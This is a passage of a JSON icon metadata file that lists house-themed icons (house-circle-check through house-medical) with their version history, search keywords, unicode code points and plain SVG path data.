    "free": ["solid"]
  },
  "house-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abode", "home", "house", "not affected", "ok", "okay"]
    },
    "styles": ["solid"],
    "unicode": "e509",
    "label": "House Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "house-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abode", "affected", "home", "house"]
    },
    "styles": ["solid"],
    "unicode": "e50a",
    "label": "House Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "house-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abode", "destroy", "home", "house"]
    },
    "styles": ["solid"],
    "unicode": "e50b",
    "label": "House Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "house-crack": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "devastation",
        "disaster",
        "earthquake",
        "home",
        "insurance"
      ]
    },
    "styles": ["solid"],
    "unicode": "e3b1",
    "label": "House Crack",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H230.4l-31.3-52.2c-4.1-6.8-2.6-15.5 3.5-20.5L288 368l-60.2-82.8c-10.9-15 8.2-33.5 22.8-22l117.9 92.6c8 6.3 8.2 18.4 .4 24.9L288 448l38.4 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H230.4l-31.3-52.2c-4.1-6.8-2.6-15.5 3.5-20.5L288 368l-60.2-82.8c-10.9-15 8.2-33.5 22.8-22l117.9 92.6c8 6.3 8.2 18.4 .4 24.9L288 448l38.4 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32z"
      }
    },
    "free": ["solid"]
  },
  "house-fire": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["burn", "emergency", "home"]
    },
    "styles": ["solid"],
    "unicode": "e50c",
    "label": "House Fire",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 350.1l0 1.9H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L447.3 128.1c-12.3-1-25 3-34.8 11.7c-35.4 31.6-65.6 67.7-87.3 102.8C304.3 276.5 288 314.9 288 350.1zM453.5 163.8c19.7 17.8 38.2 37 55.5 57.7c7.9-9.9 16.8-20.7 26.5-29.5c5.6-5.1 14.4-5.1 20 0c24.7 22.7 45.6 52.7 60.4 81.1c14.5 28 24.2 58.8 24.2 79C640 440 568.7 512 480 512c-89.7 0-160-72.1-160-159.8c0-26.4 12.7-60.7 32.4-92.6c20-32.4 48.1-66.1 81.4-95.8c2.8-2.5 6.4-3.8 10-3.7c3.5 0 7 1.3 9.8 3.8zM530 433c30-21 38-63 20-96c-2-4-4-8-7-12l-36 42s-58-74-62-79c-30 37-45 58-45 82c0 49 36 78 81 78c18 0 34-5 49-15z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 350.1l0 1.9H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L447.3 128.1c-12.3-1-25 3-34.8 11.7c-35.4 31.6-65.6 67.7-87.3 102.8C304.3 276.5 288 314.9 288 350.1zM453.5 163.8c19.7 17.8 38.2 37 55.5 57.7c7.9-9.9 16.8-20.7 26.5-29.5c5.6-5.1 14.4-5.1 20 0c24.7 22.7 45.6 52.7 60.4 81.1c14.5 28 24.2 58.8 24.2 79C640 440 568.7 512 480 512c-89.7 0-160-72.1-160-159.8c0-26.4 12.7-60.7 32.4-92.6c20-32.4 48.1-66.1 81.4-95.8c2.8-2.5 6.4-3.8 10-3.7c3.5 0 7 1.3 9.8 3.8zM530 433c30-21 38-63 20-96c-2-4-4-8-7-12l-36 42s-58-74-62-79c-30 37-45 58-45 82c0 49 36 78 81 78c18 0 34-5 49-15z"
      }
    },
    "free": ["solid"]
  },
  "house-flag": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["camp", "home"]
    },
    "styles": ["solid"],
    "unicode": "e50d",
    "label": "House Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 0c-17.7 0-32 14.3-32 32V192 512h64V192H624c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H512c0-17.7-14.3-32-32-32zM416 159L276.8 39.7c-12-10.3-29.7-10.3-41.7 0l-224 192C1 240.4-2.7 254.5 2 267.1S18.6 288 32 288H64V480c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v96c0 17.7 14.3 32 32 32h64.7l.2 0h-1V159z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 0c-17.7 0-32 14.3-32 32V192 512h64V192H624c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H512c0-17.7-14.3-32-32-32zM416 159L276.8 39.7c-12-10.3-29.7-10.3-41.7 0l-224 192C1 240.4-2.7 254.5 2 267.1S18.6 288 32 288H64V480c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v96c0 17.7 14.3 32 32 32h64.7l.2 0h-1V159z"
      }
    },
    "free": ["solid"]
  },
  "house-flood-water": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["damage", "flood", "water"]
    },
    "styles": ["solid"],
    "unicode": "e50e",
    "label": "House Flood Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M306.8 6.1C295.6-2 280.4-2 269.2 6.1l-176 128c-11.2 8.2-15.9 22.6-11.6 35.8S98.1 192 112 192h16v73c1.7 1 3.3 2 4.9 3.1c18 12.4 40.1 20.3 59.2 20.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c1.5-1 3-2 4.5-2.9l-.3-73.2H464c13.9 0 26.1-8.9 30.4-22.1s-.4-27.6-11.6-35.8l-176-128zM269.5 309.9C247 325.4 219.5 336 192 336c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 389.7 159 400 192 400c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C439.4 325.2 410.9 336 384 336c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0zM384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M306.8 6.1C295.6-2 280.4-2 269.2 6.1l-176 128c-11.2 8.2-15.9 22.6-11.6 35.8S98.1 192 112 192h16v73c1.7 1 3.3 2 4.9 3.1c18 12.4 40.1 20.3 59.2 20.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c1.5-1 3-2 4.5-2.9l-.3-73.2H464c13.9 0 26.1-8.9 30.4-22.1s-.4-27.6-11.6-35.8l-176-128zM269.5 309.9C247 325.4 219.5 336 192 336c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 389.7 159 400 192 400c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C439.4 325.2 410.9 336 384 336c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0zM384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448z"
      }
    },
    "free": ["solid"]
  },
  "house-flood-water-circle-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["damage", "flood", "water"]
    },
    "styles": ["solid"],
    "unicode": "e50f",
    "label": "House Flood Water Circle Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 144A144 144 0 1 0 0 144a144 144 0 1 0 288 0zM140.7 76.7c6.2-6.2 16.4-6.2 22.6 0l56 56c6.2 6.2 6.2 16.4 0 22.6l-56 56c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L169.4 160H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h89.4L140.7 99.3c-6.2-6.2-6.2-16.4 0-22.6zM320 144c0 57.3-27.4 108.2-69.8 140.3c11.8-3.6 23-9.4 33-16.2c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.4 78.1 3.4c2.1 1.7 4.2 3.3 6.5 4.9l-.3-84.4H576c13.9 0 26.1-8.9 30.4-22.1s-.4-27.6-11.6-35.8l-176-128C407.6-2 392.4-2 381.2 6.1L301 64.4c12.1 23.9 19 50.9 19 79.6zm18.5 165.9c-11.1-7.9-25.9-7.9-37 0C279 325.4 251.5 336 224 336c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C158.5 389.7 191 400 224 400c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.6 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C471.4 325.2 442.9 336 416 336c-27.5 0-55-10.6-77.5-26.1zm0 112c-11.1-7.9-25.9-7.9-37 0C279 437.4 251.5 448 224 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C158.5 501.7 191 512 224 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.6 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C471.4 437.2 442.9 448 416 448c-27.5 0-55-10.6-77.5-26.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 144A144 144 0 1 0 0 144a144 144 0 1 0 288 0zM140.7 76.7c6.2-6.2 16.4-6.2 22.6 0l56 56c6.2 6.2 6.2 16.4 0 22.6l-56 56c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L169.4 160H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h89.4L140.7 99.3c-6.2-6.2-6.2-16.4 0-22.6zM320 144c0 57.3-27.4 108.2-69.8 140.3c11.8-3.6 23-9.4 33-16.2c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.4 78.1 3.4c2.1 1.7 4.2 3.3 6.5 4.9l-.3-84.4H576c13.9 0 26.1-8.9 30.4-22.1s-.4-27.6-11.6-35.8l-176-128C407.6-2 392.4-2 381.2 6.1L301 64.4c12.1 23.9 19 50.9 19 79.6zm18.5 165.9c-11.1-7.9-25.9-7.9-37 0C279 325.4 251.5 336 224 336c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C158.5 389.7 191 400 224 400c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.6 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.5-27.3-10.1-39.2-1.7l0 0C471.4 325.2 442.9 336 416 336c-27.5 0-55-10.6-77.5-26.1zm0 112c-11.1-7.9-25.9-7.9-37 0C279 437.4 251.5 448 224 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C158.5 501.7 191 512 224 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.6 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C471.4 437.2 442.9 448 416 448c-27.5 0-55-10.6-77.5-26.1z"
      }
    },
    "free": ["solid"]
  },
  "house-laptop": {
    "aliases": {
      "names": ["laptop-house"],
      "unicodes": {
        "secondary": ["10e066"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "computer",
        "covid-19",
        "device",
        "office",
        "remote",
        "work from home"
      ]
    },
    "styles": ["solid"],
    "unicode": "e066",
    "label": "House Laptop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M218.3 8.5c12.3-11.3 31.2-11.3 43.4 0l208 192c6.7 6.2 10.3 14.8 10.3 23.5H336c-19.1 0-36.3 8.4-48 21.7V208c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64V416H112c-26.5 0-48-21.5-48-48V256H32c-13.2 0-25-8.1-29.8-20.3s-1.6-26.2 8.1-35.2l208-192zM352 304V448H544V304H352zm-48-16c0-17.7 14.3-32 32-32H560c17.7 0 32 14.3 32 32V448h32c8.8 0 16 7.2 16 16c0 26.5-21.5 48-48 48H544 352 304c-26.5 0-48-21.5-48-48c0-8.8 7.2-16 16-16h32V288z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M218.3 8.5c12.3-11.3 31.2-11.3 43.4 0l208 192c6.7 6.2 10.3 14.8 10.3 23.5H336c-19.1 0-36.3 8.4-48 21.7V208c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64V416H112c-26.5 0-48-21.5-48-48V256H32c-13.2 0-25-8.1-29.8-20.3s-1.6-26.2 8.1-35.2l208-192zM352 304V448H544V304H352zm-48-16c0-17.7 14.3-32 32-32H560c17.7 0 32 14.3 32 32V448h32c8.8 0 16 7.2 16 16c0 26.5-21.5 48-48 48H544 352 304c-26.5 0-48-21.5-48-48c0-8.8 7.2-16 16-16h32V288z"
      }
    },
    "free": ["solid"]
  },
  "house-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["closed", "home", "house", "lockdown", "quarantine"]
    },
    "styles": ["solid"],
    "unicode": "e510",
    "label": "House Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M384 480c0 11.7 3.1 22.6 8.6 32H392c-22.1 0-40-17.9-40-40V448 384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L490.7 166.3C447.2 181.7 416 223.2 416 272v24.6c-19.1 11.1-32 31.7-32 55.4V480zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M384 480c0 11.7 3.1 22.6 8.6 32H392c-22.1 0-40-17.9-40-40V448 384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L490.7 166.3C447.2 181.7 416 223.2 416 272v24.6c-19.1 11.1-32 31.7-32 55.4V480zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z"
      }
    },
    "free": ["solid"]
  },
  "house-medical": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "doctor",
        "facility",
        "general practitioner",
        "health",
        "hospital",
        "infirmary",
        "medicine",
        "office",
        "outpatient"
      ]
    },
    "styles": ["solid"],
    "unicode": "e3b2",
    "label": "House Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
